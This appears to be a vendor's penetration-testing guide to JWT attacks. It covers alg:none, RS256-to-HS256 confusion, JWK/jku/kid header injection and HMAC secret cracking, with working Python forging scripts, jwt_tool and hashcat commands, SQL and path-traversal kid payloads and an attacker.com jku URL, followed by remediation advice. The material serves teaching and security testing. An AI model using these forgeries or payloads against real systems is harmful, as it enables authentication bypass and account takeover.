JWT Algorithm Confusion Attacks: RS256 to HS256 Exploitation
JWT algorithm confusion is one of the most reliable authentication bypasses in web application penetration testing. The vulnerability isn't in JWTs themselves — it's in how libraries and applications handle the alg header field. When a server uses an asymmetric algorithm like RS256 but trusts the client to specify which algorithm to use for verification, an attacker can switch the algorithm to HS256 and sign a forged token with the server's own public key. The server verifies it successfully.
This guide covers the full spectrum of JWT algorithm attacks: the classic confusion attack, alg:none bypass, JWK injection via the jku and kid headers, and the tooling (jwt_tool, Burp Suite's JWT Editor) you need to exploit them.
JWT Anatomy Refresher
A JWT has three base64url-encoded parts separated by dots:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9 // Header
.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ // Payload
.RSASIGNATURE // Signature
The header specifies the signing algorithm. The server is supposed to ignore this header and use the algorithm it was configured with. Many implementations don't.
Attack 1: alg:none Bypass
The simplest and oldest attack. Some JWT libraries accept tokens with "alg":"none" and an empty signature, treating the token as valid without any cryptographic verification.
// Original token header (decoded)
{"alg":"HS256","typ":"JWT"}
// Attack: change alg to none, strip signature
{"alg":"none","typ":"JWT"}
Construct the forged token:
import base64, json
def b64url_encode(data):
if isinstance(data, str):
data = data.encode()
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = b64url_encode(json.dumps({"alg":"none","typ":"JWT"}))
payload = b64url_encode(json.dumps({"sub":"admin","role":"admin"}))
# Forged token: note the trailing dot with no signature
forged_token = f"{header}.{payload}."
print(forged_token)
Also test case variations: None, NONE, nOnE — some libraries do case-sensitive matching on "none" but not its variants.
Attack 2: RS256 to HS256 Algorithm Confusion
This is the critical one. Here's the vulnerability in plain terms:
- The server signs tokens with RS256 (RSA private key)
- The server verifies tokens using RS256 (RSA public key) — which is public knowledge
- A vulnerable library reads the
algheader from the token to determine verification method - The attacker changes
algfromRS256toHS256 - The attacker signs the forged token using HS256 with the server's public key as the HMAC secret
- The server reads
alg:HS256, uses the public key as the HMAC secret to verify — and it matches
Step 1: Obtain the Server's Public Key
Public keys are frequently exposed:
# Common JWKS endpoints
/.well-known/jwks.json
/.well-known/openid-configuration # Then follow jwks_uri
/api/auth/jwks
/oauth/v1/keys
/auth/keys
# Extract with curl
curl https://target.com/.well-known/jwks.json | jq '.keys[0]'
If not exposed via JWKS, extract from an existing JWT's certificate chain (x5c header parameter) or from server configuration (exposed PEM files, config endpoint leaks).
Step 2: Convert Public Key to PEM Format
# From JWKS JSON to PEM using jwt_tool or python-jose
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
import base64, struct
# Parse n and e from JWKS
n = int.from_bytes(base64.urlsafe_b64decode(jwks_n + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(jwks_e + '=='), 'big')
pub_key = RSAPublicNumbers(e, n).public_key()
pem = pub_key.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
print(pem.decode())
Step 3: Forge the Token with HS256
import jwt
# Read the public key PEM
with open('public_key.pem', 'rb') as f:
public_key_bytes = f.read()
# Forge payload
forged_payload = {
"sub": "admin",
"role": "admin",
"iat": 1719532800,
"exp": 9999999999
}
# Sign with HS256 using the public key bytes as the secret
forged_token = jwt.encode(
forged_payload,
public_key_bytes, # public key used as HMAC secret
algorithm='HS256'
)
print(forged_token)
Using jwt_tool
jwt_tool automates the attack:
# Install
pip3 install termcolor cprint pycryptodomex requests
# Tamper with algorithm confusion attack
python3 jwt_tool.py -t https://target.com/api/me -rh "Authorization: Bearer ORIGINAL_JWT" -X a
# -X a = algorithm confusion attack
# jwt_tool will automatically fetch the JWKS, generate the forged token, and test it
Attack 3: JWK Header Injection
The JWT specification allows a jwk parameter in the header that embeds the verification key. Vulnerable servers use the embedded key directly without checking whether it's trusted:
// Normal header
{"alg":"RS256","typ":"JWT","kid":"key-1"}
// Attack: embed attacker-controlled public key
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "ATTACKER_PUBLIC_KEY_N",
"e": "AQAB"
}
}
The attacker generates their own RSA key pair, embeds the public key in the JWT header, signs the payload with their private key, and submits it. A vulnerable server verifies using the embedded (attacker-controlled) public key — and accepts it.
jwt_tool automates this:
python3 jwt_tool.py -t https://target.com/api/me -rh "Authorization: Bearer JWT" -X i
Attack 4: jku Header Injection
The jku (JWK Set URL) header parameter tells the server where to fetch the public key from. If the server fetches from an attacker-controlled URL:
// Attacker-controlled JWKS URL
{"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
Host a JWKS endpoint at your server with your own public key, sign the token with the matching private key, and submit. Some servers validate that jku points to their own domain; look for URL filter bypasses (redirect chains, subdomain takeover).
Attack 5: kid Header SQL and Path Injection
The kid (Key ID) header often drives a database lookup or file read to find the verification key. Injection here leads to key substitution or data leakage:
// SQL injection in kid parameter
// Original: {"kid": "key-production-1"}
{"kid": "' UNION SELECT 'attacker_secret' -- "}
// The server's key lookup becomes:
SELECT key FROM keys WHERE id = '' UNION SELECT 'attacker_secret' -- '
// Returns attacker_secret as the verification key
// Attacker signs token with HS256 using 'attacker_secret'
// Path traversal in kid (if keys stored as files)
{"kid": "../../../dev/null"}
// HMAC key becomes empty string — easily guessable
Test kid values with common injection strings:
' OR '1'='1
../../dev/null
/dev/null
' UNION SELECT 'secret
0 UNION ALL SELECT NULL--
Burp Suite JWT Editor Extension
The JWT Editor extension (available in the BApp Store) adds a dedicated JWT tab to Burp's message editor:
- Install JWT Editor from the BApp Store
- Intercept a request with a JWT in Authorization header
- Click the "JSON Web Token" tab in the message editor
- Modify payload claims (e.g., change
role: usertorole: admin) - Use "Attack" → "Embedded JWK" for JWK injection or "Algorithm Confusion" for RS256→HS256
- Sign and forward the modified request
Attack 6: Weak HMAC Secrets
If the application uses HS256/HS384/HS512 with a weak secret, crack it offline:
# hashcat with JWT wordlist attack
hashcat -a 0 -m 16500 JWT_TOKEN /usr/share/wordlists/rockyou.txt
# john the ripper
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
# jwt_tool dictionary attack
python3 jwt_tool.py JWT_TOKEN -C -d /usr/share/wordlists/rockyou.txt
Common weak secrets in the wild: secret, password, your-256-bit-secret, jwt_secret, mysecret, application name, domain name.
Summary: Attack Decision Tree
| Condition | Attack |
|---|---|
| Any JWT implementation | Try alg:none first — simple and still works |
| RS256/ES256 (asymmetric) token | Algorithm confusion: sign with HS256 using public key |
| Public key exposed via JWKS | Algorithm confusion with extracted public key bytes |
Header has jwk parameter |
JWK injection with attacker-controlled key pair |
Header has jku parameter |
jku injection pointing to attacker-controlled JWKS URL |
Header has kid parameter |
SQL injection or path traversal in kid value |
| HS256 token with short/guessable secret | Offline cracking with hashcat / john |
Remediation
Fix the algorithm confusion vulnerability: Never let the client dictate the verification algorithm. Hardcode the expected algorithm server-side:
# Python (PyJWT) - correct
decoded = jwt.decode(token, public_key, algorithms=['RS256']) # Fixed algorithm list
# Python (PyJWT) - VULNERABLE
decoded = jwt.decode(token, public_key) # Uses alg from token header
Disable alg:none explicitly: Most modern libraries reject it by default, but verify your version and configuration. Never include none in the allowed algorithms list.
Validate jku against an allowlist: Only fetch JWKS from known, trusted URLs. Reject any jku that doesn't match the expected issuer's JWKS endpoint exactly.
Ignore embedded jwk header parameters: Unless your use case specifically requires it, reject tokens that embed a public key — always fetch keys from a trusted source.
Use sufficiently long HMAC secrets: Minimum 256 bits (32 bytes) of random data for HS256. Generate with a cryptographically secure random source, not application configuration strings.
Ironimo tests JWT implementations for algorithm confusion, weak secrets, header injection, and misconfigured verification logic using the same techniques professional pentesters use. No custom configuration needed — scanners that understand authentication logic, not just HTTP headers.
Start free scan